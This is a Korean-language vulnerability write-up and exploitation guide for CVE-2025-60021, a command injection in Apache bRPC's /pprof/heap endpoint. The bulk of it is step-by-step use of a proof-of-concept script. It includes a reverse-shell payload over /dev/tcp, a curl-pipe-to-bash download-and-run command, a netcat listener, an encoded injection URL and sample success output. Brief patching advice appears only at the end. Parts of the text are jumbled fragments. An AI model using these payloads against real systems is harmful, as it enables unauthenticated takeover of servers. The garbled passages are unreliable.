
CVE-2025-60021
| 속성 | 정보 |
|---|
| 이름 / ID | CVE-2025-60021 |
| 제품 | Apache bRPC (모든 플랫폼) |
| 영향 받는 버전 | < 1.15.0 |
| 발표일 | 2026년 1월 16일 (NVD) |
| 취약점 유형 | 원격 명령어 삽입 (CWE-77) (NVD) |
| 엔드포인트 | /pprof/heap |
| 트리거 | 정제되지 않은 extra_options 매개변수 |
| 근본 원인 | OS 명령어로 실행하기 전에 입력이 검증되지 않음 (openwall.com) |
❗공격자는 이 프로파일링 매개변수를 조작하여 원격으로 명령어를 삽입할 수 있습니다.
🔥 심각도 등급: Critical
📊 CVSS v3.1 Base Score: 9.8 / 10
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
| 영향 범주 | 효과 | |
|---|---|---|
| 기밀성 | High | |
| 무결성 | High | |
| 가용성 | High | |
| 공격 벡터 | Network | |
| 권한 | None required | |
| 사용자 상호작용 | None needed | (INCIBE) |
👉 즉, 공격자는 로그인 없이 원격으로 임의의 명령어를 실행할 수 있으며, 이는 노출된 서비스에 최악의 시나리오입니다.
/pprof/heap)를 노출합니다. (openwall.com)extra_options 매개변수를 허용합니다. 이를 정제하지 않고 bRPC는 OS 셸에 직접 전달합니다. (openwall.com)이 가이드는 스크립트가 CVE-2025-60021.py로 저장되어 있다고 가정합니다(실제 CVE는 2025-60021이지만 원하는 대로 이름을 변경해도 됩니다). 이는 Apache bRPC의 힙 프로파일러에서 원격 명령어 삽입 취약점을 시연하기 위한 Python 3 스크립트입니다. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에서만 실행하세요—허가 없이 악용하는 것은 불법입니다.
Python 환경: Python 3(예: 3.6+)이 설치되어 있는지 확인하세요. 스크립트는 내장 모듈과 requests 및 argparse(표준 또는 설치가 쉬움)를 사용합니다.
종속성 설치: 아직 설치되지 않은 경우 requests 라이브러리를 설치하세요:
pip install requests
대상 설정: 취약한 Apache bRPC 서버가 필요합니다:
http://localhost:8060 또는 원격 IP/포트).
로컬에서 테스트하는 경우, 취약한 bRPC 인스턴스를 설정하세요 (예: Docker 또는 소스 빌드—Apache bRPC 문서 참조).권한: 네트워크 접근이나 권한이 필요한 경우에만 sudo로 실행하고, 그렇지 않으면 일반 python3으로 충분합니다.
앞서 제공한 PoC 코드를 CVE-2025-60021.py 파일로 복사하세요. 원한다면 실행 권한을 부여하세요:
chmod +x CVE-2025-60021.py
스크립트는 두 개의 필수 위치 인수를 받습니다:
target: 취약한 bRPC 서버의 URL (예: http://192.168.1.100:8060 또는 http://targets:8060—누락된 스킴이나 잘못된 호스트 등의 오타 수정).cmd: 대상에서 실행할 명령어 (예: 사용자 정보를 위한 "id", 또는 역방향 셸을 위한 "curl http://your-server/reverse-shell.sh | bash"와 같은 더 복잡한 명령어). 여러 명령어를 연결하려면 && 또는 ;를 사용하세요.터미널을 열고(예: 사용 중인 Kali Linux), 대상과 명령어를 지정하여 실행하세요. 예제 명령어:
기본 테스트 (시스템 정보 확인):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
역방향 셸 예제 (your-listener-ip와 포트를 바꾸고, 먼저 nc -lvnp 4444와 같은 리스너를 설정하세요):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
HTTPS를 사용하거나 다른 포트를 사용하는 경우 URL을 적절히 조정하세요 (예: https://target:443—스크립트가 처리하지만 인증서 문제가 있으면 --insecure 추가).
성공 지표:
id 실행 시 uid=0(root)...).실패 지표 (보았던 것과 같은):
--enable_heap_profiler=true)하고 서버를 다시 시작하세요.cmd 인수를 잊었습니다—항상 포함하세요.echo "test" > /tmp/proof.txt)를 사용하고 대상에서 파일을 확인하세요.;가 작동하지 않으면 && 또는 |를 시도하여 연결하세요. 필요한 경우 특수 문자를 URL 인코딩하세요 (스크립트는 대부분 처리)./pprof/heap을 비활성화하세요.취약한 대상(예: 힙 프로파일러 활성화, 패치되지 않은 bRPC <1.15.0)에서 익스플로트가 성공한 경우, 터미널 출력은 다음과 같을 것입니다 (정확한 세부 사항은 명령어의 stdout 및 서버 구성에 따라 다름):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
주요 징후: 200 OK 상태, 그리고 명령어(예: id && whoami && uname -a)가 출력을 생성하는 경우 응답 본문에 나타날 수 있습니다(프로파일러 쓰레기와 혼합됨). 조용한 명령어(예: 역방향 셸)의 경우 대상 서버 또는 리스너에서 활동을 확인하세요—200 외에 직접적인 터미널 확인은 없습니다. 😈
/pprof/heap에 대한 접근을 차단합니다.✔ 공격자는 자격 증명이 필요하지 않습니다. ✔ 네트워크를 통해 작동합니다. ✔ 취약한 bRPC를 사용하는 모든 플랫폼에 영향을 미칩니다. ✔ 전체 시스템 손상으로 이어질 수 있습니다.
bRPC를 중요한 서비스(예: 검색, 저장, 기계 학습 파이프라인)에 사용하는 기업은 특히 위험합니다. 이 결함이 진단 도구를 공격 벡터로 바꾸기 때문입니다. (Daily CyberSecurity)
⚠ EPSS (익스플로트 예측): 일부 피드에서는 현재까지 익스플로트 관찰이 낮다고 나타내지만, 익스플로트의 용이성으로 인해 실제 공격에 빠르게 활용될 수 있습니다. (Tenable®)
📌 분류: CWE-77 — 명령어 내 특수 요소의 부적절한 중립화 (명령어 삽입). (NVD)
프로덕션 환경에서 Apache bRPC를 실행 중이라면 위험을 줄이기 위해 즉시 패치하고 진단 엔드포인트에 대한 접근을 제한하세요.